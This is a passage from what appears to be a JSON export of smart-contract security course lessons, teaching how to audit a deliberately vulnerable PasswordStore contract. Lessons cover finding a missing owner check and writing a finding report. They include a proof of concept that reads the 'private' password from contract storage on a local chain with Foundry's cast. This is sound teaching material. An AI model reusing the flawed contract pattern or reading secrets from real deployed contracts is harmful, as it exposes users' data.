this...\"_\n\n\n\nGiven even simple functions like above, we should be asking ourselves\n\n- **\"Will this work for every type of token?\"**\n- **\"Have they implemented access control modifiers properly?\"**\n\n> _USDT is a 'weird ERC20' in that it doesn't return a boolean on transferFrom calls_\n\n### Audit, Review, Audit, Repeat\n\nKeeping a record of your work is crucial in this process.\n\n> Tincho recommends taking notes directly in the code _and_ maintaining a separate file for raw notes/ideas.\n\nRemember, there is always a risk of diving too deep into just one part of the code and losing the big picture. So, remember to pop back up and keep an eye on the over-all review of the code base.\n\nNot everything you'll be doing is a manual review. Applying your knowledge of writing tests to verify suspicions is incredibly valuable. Tincho applies a `fuzz test` to his assessment of functions within the ENS codebase.\n\n### Communication\n\nTincho describes keeping an open line of communication with the client/protocol as `fundamental`. The protocol is going to possess far more contextual understanding of what constitutes intended behavior than you will. Use them as collaborators. **`Trust but validate.`**\n\n> \"I would advise to keep the clients at hand. Ask questions, but also be detached enough.\" - Tincho\n\n### Wrapping it Up\n\nSometimes it can feel like there's no end to the approaches you can make to a codebase, no end to the lines of code you can check and verify.\n\nTincho advocates for time-bounding yourself. Set limits and be as thorough as possible within them.\n\n> \"The thing is...I always get the feeling that you can be looking at a system forever.\" - Tincho\n\n### The Audit Report and Follow Up\n\nThe last stage of this whole process is to present an audit report to the client. It should be clear and concise in the detailing of discovered vulnerabilities and provide recommendations on mitigation.\n\nIt's our responsibility as security researchers to review the implementation of any mitigations the client employs and to assure that _new bugs_ aren't introduced.\n\n### Aftermath of a Missed Vulnerability\n\nThere will always be the fear of missing out on some vulnerabilities and instead of worrying about things that slip through the net, aim to bring value beyond just identifying vulnerabilities. Be that collaborative security partner/educator the protocol needs to employ best practices and be prepared holistically.\n\nAs an auditor it's important to remember that you do not shoulder the whole blame when exploits happen. You share this responsibility with the client.\n\n> This doesn't give you free reign to suck at your job. People will notice.\n\nA last takeaway from Tincho:\n\n> \"Knowing that you’re doing your best in that, knowing that you’re putting your best effort every day, growing your skills, learning grows an intuition and experience in you.\"\n", + "updates": [] + }, + { + "lessonId": "2c621243-12a8-4b87-a757-dc85c1ec9bd5", + "number": 7, + "title": "Recon: Context", + "slug": "context", + "folderName": "7-context", + "description": "", + "duration": 5, + "videoUrl": "pAws02rmrcgSlXrGrXrrikJoABnxom7Fg00lOH7UFUjyY", + "rawMarkdownUrl": "/routes/security/3-first-audit/7-context/+page.md", + "markdownContent": "---\ntitle: Recon - Getting Context\n---\n\n_Follow along with this video:_\n\n---\n\n### First Step: Understanding The Codebase\n\nAlright, we're ready to begin our recon, if you haven't already clone the repo our client has provided us.\n\n```bash\ngit clone https://github.com/Cyfrin/3-passwordstore-audit.git\ncd 3-passwordstore-audit\ncode .\n```\n\nIf we're following `The Tincho` method, our first step is going to be reading the docs and familiarizing ourselves with the codebase. In VS Code, you can click on the `README.MD` file in your workspace and use the command `CTRL + SHIFT + V` to open the preview mode of this document.\n\n> You can also open the preview pane by opening your command pallet and typing `markdown open preview`.\n\n_Quick tip: Check if an extension must be installed for Vs Code if it's not working for you._\n\n\n\nAlready, we should be thinking about potential attack vectors with the information we've gleaned.\n\n_Is there any way for an unauthorized user to access a stored password?_\n\nOnce you've finished reading through the documentation, we can proceed to...\n\n### Scoping Out The Files\n\nFollowing Tincho's advice our next step will be to organize the files of the protocol in scope and assess their respective complexity. (Spoiler, this first example is pretty simple).\n\n1. Download and install the [**Solidity Metrics**](https://marketplace.visualstudio.com/items?itemName=tintinweb.solidity-metrics) extension for VS Code.\n\n\n\n2. Once installed, you can right-click the appropriate folders to run the tool on and select `Solidity: Metrics` from the context menu.\n\n> _Pro-tip: If your repo has more than one applicable folder, you can CTRL + Click to select multiple simultaneously._\n\n\n\nAfter generating the report, navigate to the command palette and locate 'export this metrics report'. Once exported, you'll have HTML access to the report for future reference.\n\n\n\nApplying Tincho's methodology to this process, we can:\n\n1. Scroll down to the section containing the various files and their lengths.\n2. Copy this info and paste it onto any platform that allows for easy viewing and comparison— like Google Sheets or Notion.\n\n> Please note that if your codebase contains a solitary file like ours, this step won't be necessary.\n\nSome aspects I'll draw your attention to in this metrics report are the `Inhertance Graph`, `The Call Graph`, and `The Contracts Summary`. It's not super obvious with such a simple protocol, but these are going to provide valuable insight down the line. Familiarize yourself with them now (way at the bottom).\n\n\n\nUnderstanding your codebase and its functionalities is the first step towards securing it.\n\n### Wrap Up\n\nNow that we've got a sense of what lies before us, with the help of our tools like CLOC and Solidity Metrics, we're ready to assess the code.\n\nLet's see what we can find.\n", + "updates": [] + }, + { + "lessonId": "74157e59-a92c-4769-80d0-7a546369f7d6", + "number": 8, + "title": "Recon: Understanding the code", + "slug": "understanding-the-code", + "folderName": "8-understanding-the-code", + "description": "", + "duration": 3, + "videoUrl": "dXwT5TMTjNSZiH00owUeZqNzR9Qw2xY96023200xarXBwk", + "rawMarkdownUrl": "/routes/security/3-first-audit/8-understanding-the-code/+page.md", + "markdownContent": "---\ntitle: Recon - Understanding the Code\n---\n\n_Follow along with this video:_\n\n---\n\n### How Tincho Cracked the Code\n\nTincho, was very pragmatic in his approach, literally going through the code line by line. This method might seem like he was looking for bugs/vulnerabilities in the code. But actually, he was just trying to understand the codebase better. In essence, understanding the functionalities and architecture of the code forms the first and most important part of code inspection.\n\nSo let's take it from the top, just like Tincho did…\n\n### Understanding What the Codebase Is Supposed to Do\n\nOur client's documentation has let us know what the intended functionality of the protocol are. Namely: A user should be able to store and retreive their password, no one else should be able to see it.\n\nLet's try to find this functionality within the code as we go through things line by line.\n\n### Scanning the Code from the Top\n\nAfter gaining a fundamental understanding, you can start going through the code. You can jump directly to the main functionality. However, to keep things simple, let's just start right from the top and start working our way down.\n\nFirst Lines:\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity 0.8.18;\n```\n\nThe open source license seems fine. A compiler version of `0.8.18` may not be an immediate concern, but we do know that this isn't the most recent compiler version. It may be worthwhile to make note of this to come back to.\n\n```js\n// SPDX-License-Identifier: MIT\npragma solidity 0.8.18; // Q: Is this the correct compiler version?\n```\n\nFormatting our in-line comments in a reliable way will allow us to easily come back to these areas later by leveraging search.\n\n\n\n### Taking Notes\n\nAs Tincho had advised, creating a separate file to dump thoughts into and compile notes can be a valuable organizational tool. I like to open a file called `.notes.md` and outline things like potential `attack vectors`\n\n> **Pro Tip**: Some security researchers, like 0Kage from the Cyfrin team, even print the source code and use different colour highlighters to visualize the codebase better.\n\n### Moving Further\n\nNext we see some `NatSpec` comments like this can be considered **extended documentation** and will tell us more about what the protocol is expected to do.\n\n```js\n/*\n * @author not-so-secure-dev\n * @title PasswordStore\n * @notice This contract allows you to store a private password that others won't be able to see.\n * You can update your password at any time.\n */\n```\n\nThe intended functionality is pretty clear. Maybe we want to jot this down in our `.notes.md`.\n\nLet's consider things upto our constructor.\n\n\n\nEverything looks great so far, the client is using some clear standard naming conventions.\n\n**Hypothetically**, were the naming conventions poor, we might want to make an informational note.\n\n```js\ncontract PasswordStore {\n // I - naming convention could be more clear ie 'error PasswordStore__NotOwner();'\n error NotOwner();\n}\n```\n\nIn the example above we use `// I` for `informational` findings, but use what feels right for you.\n\n> **Pro Tip** - I like to use a package called [**headers**](https://github.com/transmissions11/headers) by `transmissions11`. It allows me to clearly label areas of a repo I'm reviewing.\n\n## Looking at Functions\n\nAlright, we've reached the functions of this protocol. Let's assess the `setPassword()` function first. Fortunately, we again have `NatSpec` to consider.\n\n```js\n /*\n * @notice This function allows only the owner to set a new password.\n * @param newPassword The new password to set.\n */\n function setPassword(string memory newPassword) external {\n s_password = newPassword;\n emit SetNetPassword();\n }\n```\n\nSometimes a protocol won't have clear documentation like the above. This is where clear lines of communication between the security reviewer and the client are fundamental, as Tincho advised.\n\nWere things less clear, it may be appropriate to leave a note to ask the client.\n\n```js\n// Q What's this function do?\n```\n\nIt can't be stressed enough, clarity in our understanding of the codebase and the intended functionalities are a _necessary_ part of performing a security review.\n\n### Wrap Up\n\nThis has been a great start getting our hands on the code and applying a critical/adversarial frame of mind. You may already have spotted a vulnerability, we'll be taking a closer look in our next lesson!\n", + "updates": [] + }, + { + "lessonId": "1bc03555-0cb0-4d70-b9ee-eab97e748943", + "number": 9, + "title": "Exploit: Access control", + "slug": "access-control", + "folderName": "9-access-control", + "description": "", + "duration": 3, + "videoUrl": "iAYbiPR8PadCov18QADc49PfsLUzK9SHE4J7gaZ8z9s", + "rawMarkdownUrl": "/routes/security/3-first-audit/9-access-control/+page.md", + "markdownContent": "---\ntitle: Exploit Access Controls\n---\n\n_Follow along with this video:_\n\n---\n\n### The First Vulnerability\n\nAlready you may have spotted a vulnerability in this function. Take a moment before reading on to try to find it.\n\n```js\n /*\n * @notice This function allows only the owner to set a new password.\n * @param newPassword The new password to set.\n */\n function setPassword(string memory newPassword) external {\n s_password = newPassword;\n emit SetNetPassword();\n }\n```\n\nThe function's `NatSpec` gives us a clear `invariant` - \"..only the owner..\". This should serve as a clue for what to look for and we should as ourselves...\n\n> _Can anyone **other** than the **owner** call this function?_\n\nAt first glance, there doesn't seem to be anything preventing this. I think we've found something! Let's be sure to make notes of our findings as we go.\n\n```js\n /*\n * @notice This function allows only the owner to set a new password.\n * @param newPassword The new password to set.\n */\n // @Audit - High - any user can set a password.\n function setPassword(string memory newPassword) external {\n s_password = newPassword;\n emit SetNetPassword();\n }\n```\n\n> **Note**: We'll explain `High` and how to determine a finding's severity later in the course.\n\n### The Bug Explained\n\nWhat we've found is a fairly common vulnerability that protocols overlook. `Access Control` effectively describes a situation where inadequate or inappropriate limitations have been places on a user's ability to perform certain actions.\n\nIn our simple example - only the owner of the protocol should be able to call `setPassword()`, but in its current implementation, this function can be called by anyone.\n\nI'll stress again the value of taking notes throughout this process. In-line comments, formatted properly are going to make returning to these vulnerabilities later for reassessment much easier and will keep you organized as you go.\n\n```js\n// @Audit - Any user can set a password - Access Control\n```\n\nClear and concise notes are key.\n\n### Wrapping Up\n\nWe did it! We found our first vulnerability. Don't worry if you couldn't spot the issue on your own, much of security research is familiarizing ourselves with these bugs and educating ourselves to more readily spot issues in the future. Experience goes a _long_ way.\n\nWe also emphasized the importance of taking notes as we perform our review. This allows us clear reference to these areas of concern later in the audit.\n\nLet's see if we can find more bugs in the next lesson!\n", + "updates": [] + }, + { + "lessonId": "43ba5486-bd51-4a1f-b203-52cf1a2fea7c", + "number": 10, + "title": "Exploit: Public Data", + "slug": "exploit-public-data", + "folderName": "10-exploit-public-data", + "description": "", + "duration": 3, + "videoUrl": "sEgUDhLqFIH3UOtAIv2n24BJ6wpKvf7d8WfFh991QC00", + "rawMarkdownUrl": "/routes/security/3-first-audit/10-exploit-public-data/+page.md", + "markdownContent": "---\ntitle: Exploit Public Data\n---\n\n_Follow along with this video:_\n\n---\n\n###\n\nAlright, one function down, one to go. Let's take a look at what's next.\n\n```js\n/*\n* @notice This allows only the owner to retrieve the password.\n* @param newPassword The new password to set.\n*/\nfunction getPassword() external view returns (string memory) {\n if (msg.sender != s_owner) {\n revert PasswordStore__NotOwner();\n }\n return s_password;\n}\n```\n\nStarting, starting as always with the `NatSpec` documentation, we see a couple things to note:\n\n- Only the owner should be able to retreive the password (_your `access control` bells should be ringing_)\n- The function should take the parameter `newPassword`.\n\nWe see a problem on the very next line. This function _doesn't take_ a parameter. Certainly informational, but let's make a note of it.\n\n```js\n/*\n* @notice This allows only the owner to retrieve the password.\n// @Audit - parameter not used by function, NatSpec can be removed\n* @param newPassword The new password to set.\n*/\n```\n\nLet's take a look at the function itself.\n\n\n\nThe function looks great! Adhering to the required access control, we can be sure only the owner can call this function.\n\nSo we're done, right? Web3 is secure! 🥳\n\n...\n\nWell, not exactly. There's another issue hidden in this contract and I want you to take a moment before continuing to try to find it.\n\nI'll give you a hint: `State Variables`.\n\n...\n\n
\nThe Vulnerability\n \n\nWe've uncovered a major flaw in the business logic of this protocol. It's best we make a note of this.\n\n```js\naddress private s_owner;\n// @Audit - s_password variable is not actually private! Everything on the blockchain is public, this is not a safe place to store your password.\nstring private s_password;\n```\n\n
\n\n### Wrap up\n\nIf you're unsure how it's possible for someone to read this data, don't worry - we'll be writing a proof of code to show how it's done. This is something covered in our [**Foundry Course**](https://updraft.cyfrin.io/courses/advanced-foundry) however, consider a refresher if this is entirely new to you as we'll be building on these concepts later on.\n", + "updates": [] + }, + { + "lessonId": "2f9c6946-6eb1-4d65-be39-a4fb99a76125", + "number": 11, + "title": "Recap II", + "slug": "recap-ii", + "folderName": "11-recap-ii", + "description": "", + "duration": 1, + "videoUrl": "THQHBVMjwuQ00M3t1vk8Ynb700yZCa8ecZ9DXt5rnfutc", + "rawMarkdownUrl": "/routes/security/3-first-audit/11-recap-ii/+page.md", + "markdownContent": "---\ntitle: Recap II\n---\n\n_Follow along with this video:_\\\n\n---\n\nLet's recap a few of the things we've found while reviewing this protocol so far.\n\n### Vulnerability #1\n\nFirst, we found that the `setPassword()` function, while intending to only callable by the `owner`, has no check to ensure this.\n\n```js\nfunction setPassword(string memory newPassword) external {\n s_password = newPassword;\n emit SetNetPassword();\n}\n```\n\nThis is an `Access Control` vulnerability, allowing anyone to change the password saved, at any time. A proper check for this might look like:\n\n```js\nfunction setPassword(string memory newPassword) external {\n if (msg.sender !== s_owner) {\n revert PasswordStore__NotOwner;\n }\n s_password = newPassword;\n emit SetNetPassword();\n}\n\n```\n\nThe above check will assure the function reverts if the caller is not the `owner`. Keep this in mind for our mitigation section of our report!\n\n### Vulnerability 2\n\nThe second issue we came across in our review was something likely informational, but none the less good to note. The `NatSpec` of our `getPassword()` function reads:\n\n```js\n/*\n * @notice This allows only the owner to retrieve the password.\n * @param newPassword The new password to set.\n */\n```\n\nWe noted that the `getPassword()` function doesn't take the described parameter, as such this line of documentation should be removed.\n\n### Vulnerability 3\n\nLast but definitely not least, we noticed that the application stored passwords on-chain. This is a major security concern as **all data on-chain is public information**. The business logic of this protocol is flawed!\n\n```js\nstring private s_password; //This is not secure!\n```\n\n> _**Remember**: all data stored on-chain is publicly accessible. Sensitive data must necessarily be kept off-chain._\n\n### Wrap Up\n\nTo sum up our findings:\n\n- Access Control on `setPassword()` function.\n- Inaccurate `NatSpec` for `getPassword()` function.\n- Private variables aren't `hidden` - all data is publicly accessible, breaking the protocol logic.\n\nGreat work in spotting these vulnerabilities! We've already shown that we're capable of making this protocol more secure.\n\nIn the next lesson we're going to go over some test assessment.\n", + "updates": [] + }, + { + "lessonId": "98ac9db5-d6b3-4d8f-bc83-9ddfe3b4a322", + "number": 12, + "title": "Protocol tests", + "slug": "protocol-tests", + "folderName": "12-protocol-tests", + "description": "", + "duration": 3, + "videoUrl": "ESXGvNkUbo2pk00w1u01Ksl1GhmIoA3zEuISqRTiUaKaw", + "rawMarkdownUrl": "/routes/security/3-first-audit/12-protocol-tests/+page.md", + "markdownContent": "---\ntitle: Protocol Tests\n---\n\n_Follow along with this video:_\n\n---\n\n\n\nAs security researchers our job is to ultimatly do what's necessary to make a protocol more secure. While we've thoroughly examined everything within scope of `PasswordStore` there can be some value in expanding our recon.\n\nTest suites should be an expectation of any protocol serious about security, assuring adequate test coverage will be valuable in a `private audit`.\n\n## Testing and Coverage\n\nAnyone at this stage of the course should be familiar with how to check the `test coverage` of a repo.\n\n```bash\nforge build\nforge test\n```\n\nThe above will run all current tests, to check `coverage` we'll use:\n\n```bash\nforge coverage\n```\n\n\n\nWow! Our coverage looks great...right? It's important to note that coverage may be a vanity metric and not truly representative of what's being tested for. If we look closely at the tests included, we can see the a major vulnerability we found (`Access Control`) wasn't tested for at all.\n\n```js\nfunction test_owner_can_set_password() public {\n vm.startPrank(owner);\n string memory expectedPassword = \"myNewPassword\";\n passwordStore.setPassword(expectedPassword);\n string memory actualPassword = passwordStore.getPassword();\n assertEq(actualPassword, expectedPassword);\n}\n\nfunction test_non_owner_reading_password_reverts() public {\n vm.startPrank(address(1));\n\n vm.expectRevert(PasswordStore.PasswordStore__NotOwner.selector);\n passwordStore.getPassword();\n}\n```\n\nIn addition to the above, tests aren't going to catch problems with documentation, or erroneous business logic. It's important not to assume things are fine because our framework tells us so.\n\n### Wrap Up\n\nWe're really progressing through this process well and we're ready to write a report for each of our findings. We'll cover this in our next lesson!\n", + "updates": [] + }, + { + "lessonId": "96f8af07-f18f-4682-864f-cef0a6abc240", + "number": 13, + "title": "Writing an amazing finding", + "slug": "finding-report", + "folderName": "13-finding-report", + "description": "", + "duration": 4, + "videoUrl": "DYHxa01R7uH6pzvyGoeEZXZqb7632xGQdNEVkS3B4Ls00", + "rawMarkdownUrl": "/routes/security/3-first-audit/13-finding-report/+page.md", + "markdownContent": "---\ntitle: Writing an amazing finding report\n---\n\n_Follow along with this video:_\n\n---\n\n### Phase #4: Reporting\n\nAfter the identification phase, we are tasked with communicating our findings to the protocol. This phase is crucial on several levels:\n\n1. We need to convince the protocol that the identified vulnerabilities are valid.\n2. We must illustrate how severe/impactful the issue is\n3. We should also help the protocol with mitigation strategies.\n\nBy effectively communicating this information, we position ourselves as educators, helping the protocol understand **why** these vulnerabilities are issues, **why** they were overlooked, and **how** to fix them to avoid running into the same issues in the future.\n\n### Writing Your First Finding\n\nNow comes an incredibly exciting part - doing a minimalistic write up of the vulnerabilities you've found.\n\nWe've prepared a finding template for you, accessible in the course's [**GitHub Repo**](https://github.com/Cyfrin/security-and-auditing-full-course-s23/blob/main/finding_layout.md).\n\nOpen a new file in your project titled `audit-data`, download and copy `finding_layout.md` into this folder.\n\nIt should look like this when previewed (`CTRL + SHIFT + V`):\n\n---\n\n### [S-#] TITLE (Root Cause + Impact)\n\n**Description:**\n\n**Impact:**\n\n**Proof of Concept:**\n\n**Recommended Mitigation:**\n\n---\n\nYou can customize this however you like, but this minimalistic template is a great starting point.\n\n> Remember our goals in this report:\n>\n> - illustrate that the issue is valid\n> - make clear the issue's severity and impact\n> - offer recommendation for mitigation\n\n### Wrap up\n\nCreate a copy of `findings_layout.md`, name it `findings.md` and let's start filling these sections out.\n\nOur first finding is `Private variable's aren't actually private!`\n", + "updates": [] + }, + { + "lessonId": "508a9bbd-9427-41bb-a5be-3e6c63cfeaba", + "number": 14, + "title": "Writing an amazing finding: Title", + "slug": "an-amazing-title", + "folderName": "14-an-amazing-title", + "description": "", + "duration": 2, + "videoUrl": "8DClGnjCCFH00W4MEvC00EB7oTDcAL02QzZnxqOR5U0002Cs", + "rawMarkdownUrl": "/routes/security/3-first-audit/14-an-amazing-title/+page.md", + "markdownContent": "---\ntitle: An Amazing Title\n---\n\n_Follow along with this video:_\n\n---\n\n### The report so far:\n\n---\n\n### [S-#] TITLE (Root Cause + Impact)\n\n**Description:**\n\n**Impact:**\n\n**Proof of Concept:**\n\n**Recommended Mitigation:**\n\n---\n\n### Title\n\nThe first thing we need to fill out is our report's title. We want to be concise while still communicating important details of the vulnerability. A good rule of thumb is that your title should include:\n\n> Root Cause + Impact\n\nSo, we ask ourselves _what is the root cause of this finding, and what impact does it have?_\n\nFor this finding the root cause would be something aking to:\n\n- **Storage variables on-chain are publicly visible**\n\nand the impact would be:\n\n- **anyone can view the stored password**\n\nLet's work this into an appropriate title for our finding (don't worry about `[S-#]`, we'll explain this more later).\n\n---\n\n```\n### [S-#] Storing the password on-chain makes it visible to anyone and no longer private\n\n**Description:**\n\n**Impact:**\n\n**Proof of Concept:**\n\n**Recommended Mitigation:**\n```\n\n---\n\n### Wrap Up\n\nThe easiest way to ensure a clear title of your report is to be concise and adhere to the rule of thumb.\n\n> Root Cause + Impact\n\nOne step down! Let's move onto the description section next\n", + "updates": [] + }, + { + "lessonId": "9620492b-6c47-44bb-80c4-48b43dd53f94", + "number": 15, + "title": "Writing an amazing finding: Description", + "slug": "description", + "folderName": "15-description", + "description": "", + "duration": 4, + "videoUrl": "CbPeHWYYC3Ksldo9pLi00J008mQCYO2epKYrdxpWTgGds", + "rawMarkdownUrl": "/routes/security/3-first-audit/15-description/+page.md", + "markdownContent": "---\ntitle: Description\n---\n\n_Follow along with this video:_\n\n---\n\n### The report so far:\n\n---\n\n### [S-#] Storing the password on-chain makes it visible to anyone and no longer private\n\n**Description:**\n\n**Impact:**\n\n**Proof of Concept:**\n\n**Recommended Mitigation:**\n\n---\n\nAlright, `title` done. What's next? Let's take a look at description and impact.\n\n### Description\n\nOur goal here is to describe the vulnerability consicely while clearly illustrating the problem. A description for our finding here might look like this.\n\n---\n\n```\n**Description:** All data stored on chain is public and visible to anyone. The s_password variable is intended to be hidden and only accessible by the owner through the getPassword function.\n\nI show one such method of reading any data off chain below.\n```\n\n---\n\nThis looks good, but we can do even better. The bigger a codebase, the more our variables and references are going to get lost. We can fight this with a little bit of markdown formatting and standardizing our naming conventions.\n\n\n\nConsider the above adjustments to our references in the description. By wrapping the variable and function name in backticks we're able to highlight them. Additionally we're prepended the names with reference to the contract in which they're found.\n\n---\n\n```\n**Description:** All data stored on chain is public and visible to anyone. The `PasswordStore::s_password` variable is intended to be hidden and only accessible by the owner through the `PasswordStore::getPassword` function.\n\nI show one such method of reading any data off chain below.\n```\n\n---\n\nThis is the kind of clarity we should strive for in our reports!\n\n### Impact\n\nThe impact is fairly self-evident, but to articulate it:\n\n```\n**Impact:** Anyone is able to read the private password, severly breaking the functionality of the protocol.\n```\n\nPutting things together, our report so far should look like this\n\n---\n\n```\n### [S-#] Storing the password on-chain makes it visible to anyone and no longer private\n\n**Description:** All data stored on chain is public and visible to anyone. The `PasswordStore::s_password` variable is intended to be hidden and only accessible by the owner through the `PasswordStore::getPassword` function.\n\nI show one such method of reading any data off chain below.\n\n**Impact:** Anyone is able to read the private password, severly breaking the functionality of the protocol.\n\n**Proof of Concept:**\n\n**Recommended Mitigation:**\n```\n\n---\n\n### Wrap Up\n\nIn the next lesson, we're going to go over `Proof of Concept` sometimes called `Proof of Code`. This is a critical section of our report where we show, irrefutably, that the vulnerability exists and has considerable impact.\n\nThis is the section that prevents protocols from disregarding legitmate concerns.\n\nLet's get to the code!\n", + "updates": [] + }, + { + "lessonId": "b77665e5-0308-4fc4-b3d3-0077c840bcae", + "number": 16, + "title": "Writing an amazing finding: Proof of code", + "slug": "proof-of-code", + "folderName": "16-proof-of-code", + "description": "", + "duration": 3, + "videoUrl": "ZYae2hc9owgu7zUQiASt6KfTp7DZQIGMu6eFuY1Uf2w", + "rawMarkdownUrl": "/routes/security/3-first-audit/16-proof-of-code/+page.md", + "markdownContent": "---\ntitle: Proof of Code\n---\n\n_Follow along with this video:_\n\n---\n\n### The report so far:\n\n---\n\n### [S-#] Storing the password on-chain makes it visible to anyone and no longer private\n\n**Description:** All data stored on chain is public and visible to anyone. The `PasswordStore::s_password` variable is intended to be hidden and only accessible by the owner through the `PasswordStore::getPassword` function.\n\nI show one such method of reading any data off chain below.\n\n**Impact:** Anyone is able to read the private password, severly breaking the functionality of the protocol.\n\n**Proof of Concept:**\n\n**Recommended Mitigation:**\n\n---\n\n### Proof of Code/Concept\n\nOur report is looking great, but the next section, `Proof of Code/Concept`, is imperative. Let's go over how we programmatically prove the claim we're making - that anyone can read the protocol's stored password.\n\nFirst we need a local chain running.\n\n```bash\nforge anvil\n```\n\n> Note: Most PoC's won't require a local blockchain\n\nNext we need to deploy our protocol, fortunately, PasswordStore has a `make` command set up for us. Note that their deploy script is setting the password `myPassword` in the process. Open a new terminal and run the following.\n\n```bash\nmake deploy\n```\n\nFoundry allows us to check the storage of a deployed contract with a very simple `cast` command. For this we'll need to recall to which storage slot the `s_password` variable is assigned.\n\n\n\nWith this consideration we can run the command `cast storage
` like this (_your address may be different_).\n\n```bash\ncast storage 0x5FbDB2315678afecb367f032d93F642f64180aa3 1\n```\n\nWe should receive an output similar to this:\n\n```\n`0x6d7950617373776f726400000000000000000000000000000000000000000014`\n```\n\nThis is the bytes form of the data at `storage slot 1`. By using another convenient Foundry command we can now decode this data.\n\n```bash\ncast parse-bytes32-string 0x6d7950617373776f726400000000000000000000000000000000000000000014\n```\n\nOur output then becomes:\n\n```\nmyPassword\n```\n\nAnd we've done it. In a few quick commands we've shown that the data our client is expecting to keep hidden on chain is accessible to anyone. Let's add these steps as proof to our report. Things are getting long, so I've collapsed the report examples going forward!\n\n
\nFinding Report\n### [S-#] Storing the password on-chain makes it visible to anyone and no longer private\n
\n
\n**Description:** All data stored on chain is public and visible to anyone. The `PasswordStore::s_password` variable is intended to be hidden and only accessible by the owner through the `PasswordStore::getPassword` function.\n
\n
\nI show one such method of reading any data off chain below.\n
\n
\n**Impact:** Anyone is able to read the private password, severaly breaking the functionality of the protocol.\n
\n
\n**Proof of Concept:**The below test case shows how anyone could read the password directly from the blockchain. We use foundry's cast tool to read directly from the storage of the contract, without being the owner.\n\n Create a locally running chain\n\nmake anvil\n\n Deploy the contract to the chain\n\nmake deploy\n\n Run the storage tool\n\nWe use 1 because that's the storage slot of s_password in the contract.\n\n cast storage 1 --rpc-url http://127.0.0.1:8545\n\nYou'll get an output that looks like this:\n\n 0x6d7950617373776f726400000000000000000000000000000000000000000014\n\nYou can then parse that hex to a string with:\n\n cast parse-bytes32-string 0x6d7950617373776f726400000000000000000000000000000000000000000014\n\nAnd get an output of:\n\n myPassword\n\n
\n**Recommended Mitigation:**\n\n
\n\n### Wrap Up\n\nWe've one more section in our report to fill out, the `Recommended Mitigations`. This is where we get a chance to illustrate our experience and bring value to the process by offering our expert advice on how rectify the problems faced by this vulnerability.\n\nLet's do it.\n", + "updates": [] + }, + { + "lessonId": "dce5ed84-3e1c-42f7-b8e8-9cf42bdab6e5", + "number": 17, + "title": "Recommended Mitigation", + "slug": "recommended-mitigation", + "folderName": "17-recommended-mitigation", + "description": "", + "duration": 2, + "videoUrl": "Lia01zwicRN2QHaa2K1QOw00jExxTtuEJM5jzkwYaQNPQ", + "rawMarkdownUrl": "/routes/security/3-first-audit/17-recommended-mitigation/+page.md", + "markdownContent": "---\ntitle: Recommended Mitigation\n---\n\n_Follow along with this video:_\n\n---\n\n### The report so far:\n\n---\n\n
\nFinding Report\n\n### [S-#] Storing the password on-chain makes it visible to anyone and no longer private\n\n**Description:** All data stored on chain is public and visible to anyone. The `PasswordStore::s_password` variable is intended to be hidden and only accessible by the owner through the `PasswordStore::getPassword` function.\n\nI show one such method of reading any data off chain below.\n\n**Impact:** Anyone is able to read the private password, severaly breaking the functionality of the protocol.\n\n**Proof of Concept:** The below test case shows how anyone could read the password directly from the blockchain. We use foundry's cast tool to read directly from the storage of the contract, without being the owner.\n\nCreate a locally running chain\n\n make anvil\n\nDeploy the contract to the chain\n\n make deploy\n\nRun the storage tool\n\n cast storage 1 --rpc-url http://127.0.0.1:8545\n\n_We use 1 because that's the storage slot of `PasswordStore::s_password`._\n\nYou'll get an output that looks like this:\n\n 0x6d7950617373776f726400000000000000000000000000000000000000000014\n\nYou can then parse that hex to a string with:\n\n cast parse-bytes32-string 0x6d7950617373776f726400000000000000000000000000000000000000000014\n\nAnd get an output of:\n\n myPassword\n\n**Recommended Mitigation:**\n\n
\n\n---\n\n### Recommended Mitigation\n\nWe're nearly there. Next we have to pass on our expert experience with a recommendation that will keep this protocol safe!\n\nThis finding in `PasswordStore` kinda leaves us in a tough spot. We can't just suggest an adjustment to the code to fix things - the problem is fundamentally tied to the goals/architecture of the protocol. A recommendation in a situation like this might look like:\n\n---\n\n```\n**Recommended Mitigation:** Due to this, the overall architecture of the contract should be rethought. One could encrypt the password off-chain, and then store the encrypted password on-chain. This would require the user to remember another password off-chain to decrypt the stored password. However, you're also likely want to remove the view function as you wouldn't want the user to accidentally send a transaction with this decryption key.\n```\n\n---\n\nI challenge you to write something you'd think is more appropriate, or better expresses what the protocol could do in a situation like this!\n\nHere's our report now:\n\n
\nFinding Report\n
\n### [S-#] Storing the password on-chain makes it visible to anyone and no longer private\n
\n
\n**Description:** All data stored on chain is public and visible to anyone. The `PasswordStore::s_password` variable is intended to be hidden and only accessible by the owner through the `PasswordStore::getPassword` function.\n
\n
\nI show one such method of reading any data off chain below.\n
\n
\n**Impact:** Anyone is able to read the private password, severaly breaking the functionality of the protocol.\n
\n
\n**Proof of Concept:** The below test case shows how anyone could read the password directly from the blockchain. We use foundry's cast tool to read directly from the storage of the contract, without being the owner.\n
\n
\n\nCreate a locally running chain\n\n make anvil\n\nDeploy the contract to the chain\n\n make deploy\n\nRun the storage tool\n\n cast storage 1 --rpc-url http://127.0.0.1:8545\n\n
\n*We use 1 because that's the storage slot of `PasswordStore::s_password`.*\n
\n
\nYou'll get an output that looks like this:\n\n 0x6d7950617373776f726400000000000000000000000000000000000000000014\n\nYou can then parse that hex to a string with:\n\n cast parse-bytes32-string 0x6d7950617373776f726400000000000000000000000000000000000000000014\n\nAnd get an output of:\n\n myPassword\n\n
\n**Recommended Mitigation:** Due to this, the overall architecture of the contract should be rethought. One could encrypt the password off-chain, and then store the encrypted password on-chain. This would require the user to remember another password off-chain to decrypt the stored password. However, you're also likely want to remove the view function as you wouldn't want the user to accidentally send a transaction with this decryption key.\n\n
\n\n### Wrap Up\n\nOur report is looking so professional! Let's recap everything in the next lesson before we move on to the next vulnerability we found.\n", + "updates": [] + }, + { + "lessonId": "4e462cd4-3ee0-4a34-ac26-a4d81a882732", + "number": 18, + "title": "Finding Writeup", + "slug": "finding-writeup", + "folderName": "18-finding-writeup", + "description": "", + "duration": 2, + "videoUrl": "CtEwzh2krYHieRIi4Te5lA29h4r5e6Cgmtbm02YDutxc", + "rawMarkdownUrl": "/routes/security/3-first-audit/18-finding-writeup/+page.md", + "markdownContent": "---\ntitle: Finding Writeup Recap\n---\n\n_Follow along with this video:_\n\n---\n\n### Our Finding Report\n\n
